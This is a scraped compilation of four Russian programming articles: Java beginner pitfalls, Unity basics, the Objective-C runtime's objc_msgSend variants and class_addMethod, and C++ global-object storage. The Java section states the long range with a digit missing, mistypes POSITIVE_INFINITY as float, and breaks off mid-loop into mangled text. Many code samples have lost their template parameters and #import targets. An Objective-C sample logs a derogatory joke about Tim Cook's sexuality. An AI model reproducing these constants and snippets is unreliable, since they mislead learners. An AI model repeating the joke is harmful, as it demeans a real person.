Диапазоны значений:
`byte (целые числа, 1 байт, [-128, 127])
short (целые числа, 2 байта, [-32768, 32767])
int (целые числа, 4 байта, [-2147483648, 2147483647])
long (целые числа, 8 байт, [-922372036854775808,922372036854775807])
float (вещественные числа, 4 байта)
double (вещественные числа, 8 байт)
char (символ Unicode, 2 байта, 16 бит, [0, 65535])
boolean (значение истина/ложь, используется int, зависит от JVM)`
char: The char data type is a single 16-bit Unicode character. It has a minimum value of '\u0000' (or 0) and a maximum value of '\uffff' (or 65,535 inclusive).
Документация Oracle [>>](https://docs.oracle.com/javase/tutorial/java/nutsandbolts/datatypes.html)
Попытаемся инициализировать переменную типа long числом: 922372036854775807.
У нас ничего не выйдет. Потому как, это целочисленный литерал типа int.
Правильная инициализация литералом типа long: 922372036854775807L;
*Пример кода:*
Файл: «MyInitLocalLong.java»
```
/*
учебные пример
Инициализация long локально
*/
package underwaterRocks.myInit;
/**
*
* @author Ar20L80
*/
public class MyInitLocalLong {
public static void main(String[] args) {
// long al = 922372036854775807; //ошибка integer number too large
long bl = 922372036854775807L; // так правильно
}
}
```
На что следует обращать внимание при инициализации переменной.
На диапазон значений переменной данного типа. На то, что переменная инициализируется литералом определенного типа. На явное и неявное приведение типов. На совместимость типов.
При использовании оболочек типа Integer, следует обратить внимание на авто упаковку и авто распаковку данных типов.
Неправильное использование double
Здесь нужно пояснить. Речь идет не о неправильном использовании типа double.
Используем мы правильно. Только результат может удивить начинающего программиста.
Файл: «MinusDouble.java»
```
/*
учебный пример
*/
package underwaterRocks.tstDouble;
/**
*
* @author vvm
*/
public class MinusDouble {
public static void main(String[] args) {
double a = 4.64;
double b = 2.64;
System.out.println("a-b = "+(a-b));
}
}
/*
Вывод программы
run:
a-b = 1.9999999999999996
*/
```
*Примечание о типе double.* Плавающая точка позволяет считать с заданной относительной погрешностью и огромным диапазоном. В научных расчетах часто нужна относительная погрешность.
Неправильное сравнение double
Рассмотрим тип double.
*Пример кода:*
Файл: «MyDouble.java»
```
/*
учебные пример
Сравнение double
Осторожно - double.
*/
package underwaterRocks.myDouble;
/**
*
* @author Ar20L80
*/
public class MyDouble {
public static void main(String[] args) {
double dx = 1.4 - 0.1 - 0.1 - 0.1 - 0.1;
System.out.println("dx = " + dx); // dx = 0.9999999999999997
System.out.print("Сравнение (dx == 1.0):");
System.out.println(dx == 1.0); // false, потому что 1.0 не равно 0.9999999999999997
/*как правильно сравнивать double*/
final double EPSILON = 1E-14;
double xx = 1.4 - 0.1 - 0.1 - 0.1 - 0.1;
double xy = 1.0;
/* сравниваем xx c xy */
if (Math.abs(xx - xy) < EPSILON)
System.out.println(xx + " это примерно равно " + xy + " EPSILON = " + EPSILON);
}
}
```
Тип double удобен там, где не нужна высокая точность. Для финансовых операций этот тип не годится. Хотя некоторые, не очень честные компании, использую тип double, для округления в нужную им сторону. Для финансовых операций в финансовых расчётах используется класс BigDecimal, так как вещественные примитивные типы не годятся для этой цели по причинам потери точности и ошибках результатах округления. Однако, более точные результаты дает использование класса BigInteger.
Конструктор класса
Конструктор класса совпадает с именем класса и ничего не возвращает, даже void.
*Пример кода:*
Файл: «MyConstructor.java»
```
/*
учебные пример
Конструктор ничего не возвращает, даже void
То что с void - обычный метод класса
*/
package underwaterRocks.myConstructor;
/**
*
* @author Ar20L80
*/
public class MyConstructor {
public MyConstructor(){
System.out.println("Я конструктор без void");
}
public void MyConstructor(){
System.out.println("Я конструктор c void");
}
public static void main(String[] args) {
MyConstructor myconst = new MyConstructor();
myconst.MyConstructor(); // вызов обычного метода
}
}
```
Как мы видим в коде два метода с одинаковыми именами: MyConstructor() и MyConstructor(). Один из методов ничего не возвращает. Это и есть конструктор нашего класса. Другой метод с void — это обычный метод класса. В случае, когда вы не создали конструктор или создали, по вашему мнению конструктор класса с void, то компилятор создаст конструктор по умолчанию и вы будете удивлены, почему ваш конструктор не работает.
Деление на ноль
Как вы думаете, какой будет результат выполнения такого кода.
Файл: «DivisionByZero.java»
```
/*учебный пример*/
package divisionByZero;
import static java.lang.Double.POSITIVE_INFINITY;
/**
*
* @author Ar20L80
*/
public class DivisionByZero {
public static void main(String[] args) {
try{
float f = 12.2f;
double d = 8098098.8790d;
System.out.println(f/0);
System.out.println(d/0);
System.out.println(POSITIVE_INFINITY == f/0);
System.out.println(POSITIVE_INFINITY == d/0);
}
catch (NumberFormatException ex) {
System.out.println("NumberFormatException");
}
catch (ArithmeticException ex) {
System.out.println("ArithmeticException");
}
}
}
```
Выполнение кода выведет:
```
Infinity
Infinity
true
true
```
Деление целого типа на ноль даст ArithmeticException.
В классе java.lang.Double определена константа `POSITIVE_INFINITY;`
```
public static final float POSITIVE_INFINITY = 1.0d / 0.0d;
```
Она преобразуется в строку равную Infinity.
Порядок инициализации
Файл: «InitClass.java»
```
/*
учебные пример
инициализация класса
*/
package myInitClass;
/**
*
* @author Ar20L80
*/
public class InitClass {
InitClass(){ // конструктор класса
System.out.print("Конструктор");
}
{ // блок инициализации
System.out.print("3 ");
}
public static void main(String[] args) {
System.out.print("2");
new InitClass();
}
static { // статический блок инициализации
System.out.print("1");
}
}
```
Вначале выполняются все статические блоки, затем блоки инициализации, затем конструктор класса.
Выведется: «123 Конструктор»
**Локальная переменная скрывает переменную класса**
Хотя современные IDE легко обнаруживают такую ошибку, хотелось бы рассмотреть такую ошибку подробнее. Начнем с классического присвоения переменной в конструкторе. Пример правильный. Тут никакой ошибки нет.
```
public class MyClass {
private int val = 0;
public MyClass(int val) {
this.val = val;
}
}
```
Однако, что произойдет, если вы используете такой прием в методе, а не в конструкторе класса? В обычном методе использовать такой прием не рекомендуется. Вопрос относится к правильному проектированию класса.
*Простое объяснение:* В методе переменная с тем же именем, что и переменная класса, является локальной по отношению к методу. Вы можете обращаться к переменной класса используя this.val. Однако такое обращение из метода, при неправильном проектировании класса только вызовет побочные эффекты и может ухудшить читаемость кода.
**Приведение типов в арифметических выражениях выполняется автоматически**
Это может стать причиной досадных ошибок.
```
// byte a = 1;
// byte b = 1;
// byte с = a + b; // ошибка
// byte a = (byte) 1;
// byte b = (byte) 1;
// byte с = a + b; // ошибка
```
```
// одно из возможных решений — явное преобразование в арифметических выражениях.
byte a = 1;
byte b = 1;
byte c = (byte) (a + b);
```
```
// одно из возможных решений — использование final
// final byte a = 1;
// final byte b = 1;
// byte c = a + b; // автоматического приведения не будет, поскольку a и b final
```
Одно из возможных решений при работе со строкой:
```
byte bHundr = Byte.parseByte("100"); // явное приведение строки к типу byte
```
Еще одна ошибка приведена в следующем коде.
```
for (byte i = 1; i <= 128; i++) {
System.out.println(i);
}
```
В данном случае получится бесконечный цикл.
*Объяснение.* Тип byte [-128, 127]. 128 уже не входит в этот диапазон. Происходит переполнение, и цикл повторяется. Необходимость использования byte в данном случае сомнительная. Хотя имеет место в редких случаях. Рекомендация — использовать int вместо byte. Другая рекомендация — не использовать цикл в вашем алгоритме.
**Не проинициализированы объекты, являющиеся элементами массива**
```
int[] cats = new int[10];
for(int i=0; i
public class ArrInitObj {
public static void main(String[] args) {
MyObj[] cats = new MyObj[10];
for(int i=0; iРекомендации об оформлении кода на Javа от Oracle >>>
``` | https://habr.com/ru/post/439642/ | null | ru | null |
# Базовые концепции Unity для программистов
Привет, Хабр! При проработке темы Unity мы нашли интересный [блог](https://blog.eyas.sh), возможно, заслуживающий вашего более пристального внимания. Предлагаем вам перевод статьи о базовых концепциях Unity, также опубликованный на портале Medium
Если вы обладаете опытом программирования и пытаетесь вкатиться в разработку игр, порой бывает непросто найти такие учебные материалы, в которых в достаточной степени объясняется необходимый контекст. Вероятно, придется выбирать между материалами, в одних из которых описана парадигма ООП, в других — язык C# и концепции Unity, либо сразу начинать с продвинутых руководств; в последнем случае придется самостоятельно дедуктивно выводить базовые концепции.
Поэтому, чтобы отчасти заполнить этот пробел, я решил написать серию статей [Unity for Software Engineers](https://blog.eyas.sh/tag/unity-for-software-engineers/). Это первая из них. Статья рассчитана на читателей, имеющих представление о программировании и программной архитектуре, в особенности на тех, кому близок тот же подход к обучению, что и мне: начинать с основ и постепенно идти вверх.
Я начал путь в программировании около 17 лет назад, открыв для себя [Game Maker](https://www.yoyogames.com/gamemaker). Многие часы потратил на самостоятельное программирование маленьких игр и инструментов, в процессе всерьез увлекшись программированием.
Однако с тех пор ландшафт игровой разработки серьезно изменился. Когда я попробовал Unity после долгой паузы с игровой разработкой, мне больше всего хотелось понять базовые концепции: из каких кирпичиков строится игра в Unity? Что нужно знать о принципах представления этих кирпичиков в памяти или на диске? Как организован идиоматический код? Какие паттерны предпочтительны?
Сцена
-----
Сцена – это самый крупный блок, описывающий организацию объектов в памяти. В сценах содержатся объекты, из которых состоит ваша игра.
В базовом случае сцена представляет **отдельно взятый уровень** вашей игры, где в любой конкретный момент времени загружена одна сцена. В более продвинутых сценариях у вас одновременно могут быть активны две или более сцен. В таком случае сцены можно дополнительно загружать в память или выгружать. Особенно удобно загружать во время геймплея несколько сцен, когда строишь крупномасштабный мир; когда держишь отдаленные области игрового мира на диске, а не в памяти, проще выдерживать стоящие перед вами требования по производительности.
*Редактор сцен Unity, в котором загружена задаваемая по умолчанию пустая сцена в режиме 3D. В пустых сценах Unity3D по умолчанию содержатся объекты Main Camera (Главная Камера) и Directional light (Направленный свет).*
*Пример сцены в редакторе Unity; здесь выделено несколько объектов. Такое представление сцены можно использовать для редактирования уровней в игре.*
Каждый игровой объект в Unity должен находиться в сцене.
### Игровые объекты
**Игровой Объект** (в коде `GameObject`) – один из базовых кирпичиков, из которых строится игра.
В виде игровых объектов можно представлять как физические сущности, наблюдаемые в игре (напр., персонаж, грунт, дерево, ландшафт, свет, оружие, пуля, взрыв) так и метафизические (напр., менеджер снаряжения, контроллер мультиплеерного режима, т.д.).
У каждого игрового объекта есть значения положения и поворота. Для метафизических объектов они не имеют значения.
Допускается вложение игровых объектов друг в друга. Положение и поворот каждого объекта отсчитывается относительно его родительского объекта. Объект, расположенный непосредственно в сцене, позиционируется относительно «мировых координат».
*Группа объектов, совместно вложенных в сцене и объединенных в пустом объекте “Interior\_Props”, сделано в целях структурирования*
Есть много причин, по которым вам может понадобиться вложение объектов. Например, вы можете решить, что со структурной точки зрения будет целесообразно поместить всю вашу «окружающую среду» (например, отдельные элементы, из которых состоит город или деревня) в пустой родительский объект. Таким образом, окружающую среду можно «компактифицировать» и вместе со всем представлением данной сцены перенести куда требуется при разработке игры.
*Группа объектов, вложенных в объект «игрок». Здесь мы видим оружие игрока, его аватарку и различные элементы пользовательского интерфейса, отображаемые вокруг игрока*
Вложение объектов может быть значимым и с функциональной точки зрения. Например, в объекте «Car» может содержаться код, управляющий как скоростью, так и поворотами машины в целом. Но у него могут быть отдельные дочерние объекты, представляющие четыре колеса (причем, все колеса будут крутиться независимо), корпус машины, окна, т.д. При перемещении родительского объекта «Car» будут двигаться и все его дочерние объекты, сохраняющие ориентацию относительно родительского объекта и относительно друг друга. Например, мы можем запланировать, что персонаж открывает дверцу, и это действие касается именно дверцы, а не всей машины.
Компоненты (и моноповедения)
----------------------------
*Объект «Warrior» с предыдущего скриншота показан над окном «Инспектор» в интерфейсе Unity. Каждый из проиллюстрированных разделов (напр., Animator, Rigidbody, Collider) – это компоненты, слагающие этот объект*
Каждый игровой объект состоит из **компонентов**.
Компонент реализует четко определенный набор поведений, необходимых, чтобы мог выполниться `GameObject`. Все, благодаря чему объект получается таким, каков он есть — это вклад компонентов, из которых он состоит:
* У единственного «видимого» элемента машины будет компонент Renderer, который отрисовывает машину и, вероятно, компонент Collider, задающий для нее границы столкновений.
* Если машина представляет персонажа, то у самого объекта car может быть Player Input Controller (Контроллер ввода от персонажа), принимающий все события, связанные с нажатиями клавиш, и транслирующий их в код, отвечающий за движение машины.
Притом, что можно писать большие и сложные компоненты, где компонент 1 в 1 равен кодируемому объекту (напр., компонент `player` содержит код, полностью описывающий персонажа, а компонент enemy, в свою очередь, полностью кодирует противника) обычно принято извлекать логику, дробя ее на небольшие «обтекаемые» кусочки, соответствующие конкретным признакам. Например:
В коде есть `MonoBehavior`, вездесущий родительский класс для представления компонентов. Большинство невстроенных компонентов будут наследовать от `MonoBehavior`, который, в свою очередь, наследует от `Behavior` и `Component`, соответственно.
* Все объекты, обладающие здоровьем, будь то `Player` (Игрок) или `Enemy` (Враг) могут иметь компонент `LivingObject`, задающий исходное значение здоровья, принимающий урон и приводящий в исполнение смерть, когда объект умирает.
* Кроме того, у игрока может быть компонент ввода, контролирующий сообщаемые ему движения, а у врага может быть аналогичный компонент, реализованный при помощи искусственного интеллекта.
На протяжении жизненного цикла компоненты получают различные обратные вызовы, которые в среде Unity именуются Сообщениями. К Сообщениям относятся, в частности, `OnEnable/OnDisable`, `Start`, `OnDestroy`, `Update` и другие. Если объект реализует метод `Update()`, то этот метод будет как по волшебству вызываться Unity в каждом кадре игрового цикла, пока объект активен, а заданный компонент действует. Эти методы могут быть помечены `private`; в таком случае движок Unity все равно будет их вызывать.
Как вы догадываетесь, компоненты также могут предоставлять и публичные методы. Другие компоненты могут принимать ссылку на данный и вызывать эти публичные методы.
Ресурсы
-------
Ресурсы – это расположенные на диске сущности, из которых состоит игровой проект. К ним относятся сети (модели), текстуры, спрайты, звуки и другие ресурсы.
Когда ваши сцены сериализуются на диск, система представляет их в виде ресурсов, состоящих из игровых объектов внутри них. В следующем разделе мы также рассмотрим, как превратить часто переиспользуемые игровые объекты в ресурс под названием «шаблонные экземпляры» (prefab).
Также ресурсы могут представлять менее «осязаемые» объекты, например, карты контроля ввода, графические настройки, строковые базы данных для интернационализации и многое другое. Также можно создавать собственные типы ресурсов при помощи ScriptableObjects. [Вот](https://blog.eyas.sh/2020/09/where-scriptableobjects-live/) статья о том, как сохранять такие вещи.
Для проекта, находящегося в разработке, ресурсы – это ключевая информационная составляющая базы кода, наряду с кодом как таковым.
В готовом пакете с игрой будет содержаться большинство ваших ресурсов. Они будут сохранены на диске на том устройстве, где установлена игра.
Шаблонные экземпляры
--------------------
Игровые объекты, их компоненты и параметры ввода существуют в сцене как отдельные экземпляры. Но что, если объекты определенного класса то и дело повторяются? Такие объекты можно оформить в виде шаблонов, каждый из которых – фактически, объект в виде ресурса.
Шаблоны экземпляров в сцене поддаются локальным модификациям, позволяющим отличать их друг от друга (например, если объект *дерево* выполнен в виде шаблона, то можно сделать экземпляры деревьев разной высоты). Все экземпляры, выполненные по шаблону, наследуют от него и переопределяют данные шаблона.
### Вложенные шаблоны
Начиная с Unity 2018.3, поддерживается вложение шаблонов, чего и следовало ожидать:
1. Родительский объект с дочерними объектами, представленными в виде шаблонов, сам может быть представлен в виде шаблона. Внутри родительского шаблона дочерний шаблон допускает собственные модификации. В сцене инстанцируется сразу вся иерархия шаблонов, а поверх нее также могут надстраиваться модификации, специфичные для конкретной сцены.
2. Шаблонный экземпляр, находящийся в сцене и снабженный собственными локальными модификациями, может быть сохранен как самостоятельный ресурс «Prefab Variant». Этот вариант представляет собой шаблонный ресурс, наследующий от другого шаблона, поверх которого применены дополнительные модификации.
Эти концепции компонуются: возможен шаблонный вариант вложенного шаблона или, например, шаблонный вариант шаблонного варианта.
Сериализация и десериализация
-----------------------------
Все ресурсы, сцены и объекты вашего проекта долговременно сохраняются на диске. При редактировании игры эти объекты загружаются в память, а затем сохраняются обратно на диск с помощью [системы сериализации](https://blogs.unity3d.com/2014/06/24/serialization-in-unity/), действующей в Unity. При тестовых прогонах игры объекты и сцены, находящиеся в памяти, загружаются при помощи одной и той же системы сериализации. Эта система также соотносит ресурсы, находящиеся в скомпилированном пакете, с загруженными/выгруженными объектами сцены в памяти.
Поток сериализации/десериализации, действующий в движке Unity, загружает в память ресурсы, расположенные на диске (в вашем проекте: для редактирования или тестового прогона игры, либо в самой игре, при загрузке сцены) и отвечает за сохранение состояния отредактированных вами объектов и компонентов обратно в соответствующие сцены и шаблонные экземпляры.
Следовательно, система сериализации также является ключевым элементом работы с редактором Unity. Чтобы MonoBehavior мог принять ввод при конструировании сцены в ходе ее инициализации, эти поля должны быть сериализованы.
Большинство базовых типов Unity, в частности, `GameObject`, `MonoBehavior` и ресурсы [поддаются сериализации](https://docs.microsoft.com/en-us/dotnet/api/system.serializableattribute?view=net-5.0) и могут получать исходные значения при создании прямо из редактора Unity. Публичные поля в вашем `MonoBehavior` сериализуются по умолчанию (если относятся к сериализуемому типу), а приватные поля для этого сначала нужно пометить атрибутом `Unity [SerializeField]`, и тогда они тоже могут быть сериализованы.
*Скриншот игры Chaos Reborn производства Snapshot Games, 2015 год. BY-CC-SA 3.0*
Заключение
----------
Выше мы рассмотрели основные структурные концепции, используемые в архитектуре игр Unity. Почитав подробнее о них, а также о том, как хранимые на диски ресурсы соотносятся с представлениями этих ресурсов в памяти, вы должны получить представление о движке, после чего можно переходить к изучению более продвинутых руководств. | https://habr.com/ru/post/529648/ | null | ru | null |
# Objective-C Runtime для Си-шников. Часть 3
Всем привет. Сегодня я продолжу рассказывать вам о внутреннем устройстве Objective-C Runtime, а конкретно — о его реализации на уровне языка C.
В прошлых статьях мы с вами подробно разобрались с селекторами и механизмом посылки сообщений объектам и классам. Сегодня я хотел бы закончить с сообщениями и рассказать о принципах работы некоторых встроенных возможностей языка Objective C.
Тем, с кем мы ещё не знакомы, я предлагаю для начала прочитать [первую](http://habrahabr.ru/post/250955/) и [вторую](http://habrahabr.ru/post/250977/) части, а прочитавших и заинтересовавшихся прошу под кат.
Ещё немного об objc\_msgSend()
==============================
[Документация](https://developer.apple.com/library/ios/documentation/Cocoa/Reference/ObjCRuntimeRef/index.html#//apple_ref/doc/uid/TP40001418-CH1g-88778) невозбранно лжёт нам, что существует целых четыре функции objc\_msgSend():
* objc\_msgSend()
* objc\_msgSend\_stret()
* objc\_msgSendSuper()
* objc\_msgSendSuper\_stret()
Переведу кусочек этой документации:
> Когда дело дохоит до вызова метода, компилятор может сгенерировать вызов одной из (представленных нами выше, *прим. автора*) функций, чтобы обработать вызов метода, в зависимости от адресата, возвращаемого значения и списка аргументов.
На самом деле список этих функций намного шире, и их количество различается для каждой из платформ. Например, для i386 этот список выглядит так:
```
.long _objc_msgSend
.long _objc_msgSend_fpret
.long _objc_msgSend_stret
.long _objc_msgSendSuper
.long _objc_msgSendSuper_stret
```
, а для arm64 всего лишь так:
```
.quad _objc_msgSend
.quad _objc_msgSendSuper
.quad _objc_msgSendSuper2
```
Функции с суффиксом «stret» используются для тех методов, которые возвращают переменные сложного типа (структуры), в то время как функции *без* такого суффикса возвращают значения простых типов. В качестве примера можно привести следующий код:
```
#import
#import
struct TestStruct {
long firstValue;
long secondValue;
long thirdValue;
};
@interface TestClass : NSObject
@end
@implementation TestClass
+ (struct TestStruct)someMethod {
struct TestStruct \* s = malloc(sizeof(struct TestStruct));
return \*s; // returns a whole struct
}
+ (struct TestStruct \*)anotherMethod {
struct TestStruct \* s = malloc(sizeof(struct TestStruct));
return s; // returns just a pointer
}
@end
int main(int argc, const char \* argv[]) {
// objc\_msgSend\_stret()
struct TestStruct s = [TestClass someMethod];
// objc\_msgSend()
struct TestStruct \* ps = [TestClass anotherMethod];
return 0;
}
```
Функции с суффиксом «Super» используются при вызове методов родительских классов, например:
```
#import
#import
@interface TestClass : NSObject
@end
@implementation TestClass
- (NSString \*)description {
// objc\_msgSendSuper2()
return [super description];
}
@end
int main(int argc, const char \* argv[]) {
TestClass \* myObj = [[TestClass alloc] init];
[myObj description];
return 0;
}
```
И, наконец, функции с суффиксом «fpret» используются там, где нужно вернуть простой тип, но который не умещается в регистр процессора, как например «long double»:
```
#import
#import
@interface TestClass : NSObject
@end
@implementation TestClass
+ (long double)someMethod {
return 0.0;
}
@end
int main(int argc, const char \* argv[]) {
// objc\_msgSend\_fpret()
[TestClass someMethod];
return 0;
}
```
Конечно, всегда можно рассказать о механизме сообщений Objective C еще что-то, но мне хотелось бы закончить с ним именно сейчас. Поэтому, если у вас возникли какие-либо вопросы, вы всегда можете узнать ответы на них в [исходных кодах](http://opensource.apple.com/source/objc4/objc4-646/runtime/) Objective C Runtime. А теперь давайте двигаться дальше.
Применяем полученные знания и делаем выводы
===========================================
Можно долго рассуждать на тему того, тратим мы с вами время впустую или действительно занимаемся делом. Однако, например, теперь реализация удалённого вызова процедур на Objective C для нас с вами является достаточно просто задачей. По крайней мере, согласитесь, вы сразу мысленно представили как это реализовать:
1. Получаем по сети имя метода
2. Берем селектор
3. Вызываем нужную функцию
4. PROFIT!!!!
Однако, наше дело — разбираться дальше и не задавать лишних вопросов, кроме одного: а можно ли добавлять методы к классам прямо во время выполнения? Конечно можно!
Те, кто уже имеет опыт разработки приложений на Objective C, сразу вспомнили такой механизм как категории. Категории позволяют расширять функциональность любых классов даже не имея их исходных файлов. Например, [вот таким вот](https://github.com/aperechnev/APObjectMapping) образом можно добавлять новые методы к классу NSObject:
```
#import
@interface NSObject (APObjectMapping)
+ (NSMutableDictionary \*)objectMapping;
- (instancetype)initWithDictionary:(NSDictionary \*)dictionary;
- (NSDictionary \*)mapToDictionary;
@end
```
Очевидно, что во время исполнения новые методы просто будут добавлены в dispatch table класса NSObject. А значит все остальные классы, наследуемые от NSObject, также получат добавленные нами методы. Красота да и только!
Давайте попробуем сделать то же самое без использования категорий, исключительно средствами языка C. Для этого воспользуемся функцией [class\_addMethod](https://developer.apple.com/library/ios/documentation/Cocoa/Reference/ObjCRuntimeRef/index.html#//apple_ref/c/func/class_addMethod):
```
#import
#import
void appleSecret(id self, SEL \_cmd) {
NSLog(@"Tim Cook is so gay...");
}
int main(int argc, const char \* argv[]) {
class\_addMethod([NSObject class], @selector(appleSecret), (IMP)appleSecret, "v@:");
NSObject \* myObj = [[NSObject alloc] init];
[myObj performSelector:@selector(appleSecret)];
return 0;
}
```
С первыми тремя параметрами функции class\_addMethod() все и так понятно, а вот четвертый — это спецификация аргументов нашей функции. В данном случае «v» означает, что тип возвращаемого значения — void, "@" — первый параметр функции типа «объект», и ":" — второй параметр функции типа «селектор». Например, если бы наша функция принимала еще один параметр типа int, то её спецификация выглядела бы так: «v@:i».
Подводим итоги
==============
Механизм сообщений это сердце языка Objective C. Именно этот механизм предоставляет в языке уровня самого обычного Си все те прелести, к которым мы так привыкли в Java, C#, Python и т.д. Разобравшись с этим механизмом, мы стали понимать как работают те или иные возможности Objective C, такие как категории. Мы так же при желании можем понять каким образом устроены [протоколы](https://ru.wikipedia.org/wiki/Objective-C#.D0.9F.D1.80.D0.BE.D1.82.D0.BE.D0.BA.D0.BE.D0.BB.D1.8B).
На этом я предлагаю временно закончить с механизмом сообщений и разобраться в других базовых механизмах моего любимого языка, о которых пойдёт речь в следующих статьях этого цикла. | https://habr.com/ru/post/251211/ | null | ru | null |
# Глобальные объекты и места их обитания
Глобальные объекты получили широкое распространение из-за удобства их использования. В них хранят настройки, игровые сущности и вообще любые данные, которые могут понадобиться где угодно в коде. Передача же в функцию всех нужных аргументов может раздуть список параметров до очень большого размера. Помимо удобства есть и недостатки: порядок инициализации и разрушения, дополнительные зависимости, сложность написания юнит-тестов. Многие программисты предвзято считают, что глобальные переменные используют только новички и это уровень студенческих лабораторных. Однако в больших проектах, как CryEngine, UDK, OGRE, глобальные объекты также применяются. Разница только в уровне владения этим инструментом.
[](https://habrahabr.ru/company/playrix/blog/316416/)
Итак, что же за зверь этот *глобальный объект,* как его приручить и пользоваться удобствами, сведя недостатки к минимуму? Давайте разбираться вместе.
Существует масса способов создать глобальный объект. Самый простой — объявить *extern*-переменную в заголовочном файле и создать её экземпляр в cpp:
```
// header file
extern Foo g_foo;
// cpp file
Foo g_foo;
```
Более абстрактным подходом является [шаблон одиночка (singleton)](https://ru.wikipedia.org/wiki/%D0%9E%D0%B4%D0%B8%D0%BD%D0%BE%D1%87%D0%BA%D0%B0_(%D1%88%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD_%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F)).
```
void PrepareFoo(...)
{
FooManager::getInstance().Initialize ();
}
```
Чем хорошо данное решение, что ему уделяется так много внимания? Оно позволяет использовать объект в любом месте программы. Весьма удобно, и соблазн сделать так очень велик. Проблемы начинаются, когда нужно заменить часть системы, не нарушив работу всего остального, или же протестировать код. В последнем случае нам придётся инициализировать чуть ли не все глобальные переменные, которые использует интересующий нас метод. Более того, вышеперечисленные трудности очень усложняют замену поведения объекта на желаемое для тестов. Также нет контроля за порядком создания и удаления, что может привести к неопределённому поведению или падениям программы. Например, когда обращаются к ещё не созданному или уже удалённому глобальному объекту.
В общем случае предпочтительно использование локальных переменных вместо глобальных. К примеру, если вам нужно отрисовать некий объект и есть глобальный Renderer, то лучше его передать напрямую в метод `void Draw(Renderer& render_instance)`, а не использовать глобальный `Render::Instance`(). Больше примеров и обоснований, почему не стоит использовать синглтон, можно почитать в [посте](https://blog.molecular-matters.com/2011/11/11/singleton-is-an-anti-pattern/).
Однако совсем без глобальных объектов обойтись сложно. Если нужен доступ к настройкам или прототипам, то к каждому объекту не прицепишь все нужные контейнеры, фабрики и прочие параметры. Этот случай мы и будем рассматривать.
Для начала постановка задачи:
1. К объекту должен быть доступ из любой части программы.
2. Все перерабатываемые глобальные объекты должны храниться централизованно — для простоты поддержки.
3. Возможность добавлять и/или заменять глобальные объекты в зависимости от контекста — реальный запуск или тестирование.
Чтобы считать реализацию успешной, важно выполнение всех обозначенных условий.
Интересное решение было подсмотрено в [недрах](https://github.com/CRYTEK-CRYENGINE/CRYENGINE/blob/release/Code/CryEngine/CryCommon/CrySystem/ISystem.h) CryEngine (смотреть `SSystemGlobalEnvironment`). Глобальные объекты завёрнуты в одну структуру и являются указателями на абстрактные сущности, которые инициализируются в нужный момент в нужном месте программы. Никаких дополнительных накладных расходов, никаких лишних надстроек, контроль за типом во время компиляции – красота!
CryEngine представляет собой достаточно старый и годами обточенный проект, где все интерфейсы устаканились, а новое прикручивается подобно тому, что существует на данный момент. Поэтому нет необходимости придумывать дополнительные обёртки или способы работы с глобальными объектами. Есть и другой вариант — молодой и бурно развивающийся проект, где нет строгих интерфейсов, где функционал постоянно меняется, что сподвигает вносить правки в интерфейсы достаточно часто. Хочется иметь решение, которое поможет в старых проектах производить рефакторинг, а в новых, где всё же необходим глобальный доступ, минимизировать недостатки использования. Для поиска ответа можно попробовать подняться на уровень выше и посмотреть на проблему под другим углом – создать хранилище глобальных объектов, наследуемых от `GlobalObjectBase`. Использование оболочки добавит операции во время исполнения, поэтому обязательно нужно обратить внимание на производительность после изменений.
Для начала необходимо создать базовый класс, наследников которого можно будет поместить в объект-хранилище.
```
class GlobalObjectBase
{
public:
virtual ~GlobalObjectBase() {}
};
```
Теперь само хранилище. Для доступа из любой части программы объект этого класса необходимо сделать глобальным при помощи одного из стандартных способов, который вам понравится больше.
**Класс хранилища**
```
class GlobalObjectsStorage
{
private:
using ObjPtr = std::unique_ptr;
std::vector m\_dynamic\_globals;
private:
GlobalObjectBase\* GetGlobalObjectImpl(size\_t i\_type\_code) const
{ … }
void AddGlobalObjectImpl(std::unique\_ptr ip\_object)
{ … }
void RemoveGlobalObjectImpl(size\_t i\_type\_code)
{ … }
public:
GlobalObjectsStorage() {}
template
void AddGlobalObject()
{
AddGlobalObjectImpl(std::make\_unique());
}
template
ObjectType\* GetGlobalObject() const
{
return static\_cast(GetGlobalObjectImpl(typeid(ObjectType).hash\_code());
}
template
void RemoveGlobalObject()
{
RemoveGlobalObjectImpl(typeid(ObjectType).hash\_code());
}
};
```
Для работы с данным видом объектов достаточно их типа, поэтому интерфейс `GlobalObjectsStorage` составляют шаблонные методы, которые передают нужные данные реализации.
Итак, первый тест-драйв – работает!
```
class FooManager : public GlobalObjectBase
{
public:
void Initialize() {}
};
static GlobalObjectsStorage g_storage; // имитируем глобальность хранилища
void Test()
{
// делаем объект "глобальным"
g_storage.AddGlobalObject();
// используем
g\_storage.GetGlobalObject()->Initialize();
// и удаляем
g\_storage.RemoveGlobalObject();
}
```
Но это ещё не всё – подменять объекты для разных контекстов нельзя. Исправляем, добавив класс-родитель для хранилища, перенеся шаблонные методы туда, и сделав виртуальными методы имплементации.
**Базовый класс хранилища**
```
template
class ObjectStorageBase
{
private:
virtual BaseObject\* GetGlobalObjectImpl(size\_t i\_type\_code) const = 0;
virtual void AddGlobalObjectImpl(std::unique\_ptr ip\_object) = 0;
virtual void RemoveGlobalObjectImpl(size\_t i\_type\_code) = 0;
public:
virtual ~ObjectStorageBase() {}
template
void AddGlobalObject()
{
AddGlobalObjectImpl(std::make\_unique());
}
template
ObjectType\* GetGlobalObject() const
{
return static\_cast(GetGlobalObjectImpl(typeid(ObjectType).hash\_code()));
}
template
void RemoveGlobalObject()
{
RemoveGlobalObjectImpl(typeid(ObjectType).hash\_code());
}
virtual std::vector GetStoredObjects() = 0;
};
class GameGlobalObject : public GlobalObjectBase
{
public:
virtual ~GameGlobalObject() {}
virtual void Update(float dt) {}
virtual void Init() {}
virtual void Release() {}
};
class DefaultObjectsStorage : public ObjectStorageBase
{
private:
using ObjPtr = std::unique\_ptr;
std::vector m\_dynamic\_globals;
private:
virtual GameGlobalObject\* GetGlobalObjectImpl(size\_t i\_type\_code) const override
{ … }
virtual void AddGlobalObjectImpl(std::unique\_ptr ip\_object) override
{ … }
virtual void RemoveGlobalObjectImpl(size\_t i\_type\_code) override
{ … }
public:
DefaultObjectsStorage() {}
virtual std::vector GetStoredObjects() override { return m\_cache\_objects; }
};
static std::unique\_ptr> gp\_storage(new DefaultObjectsStorage());
void Test()
{
// делаем объект "глобальным"
gp\_storage->AddGlobalObject();
// используем
gp\_storage->GetGlobalObject()->Initialize();
// и удаляем
gp\_storage->RemoveGlobalObject();
}
```
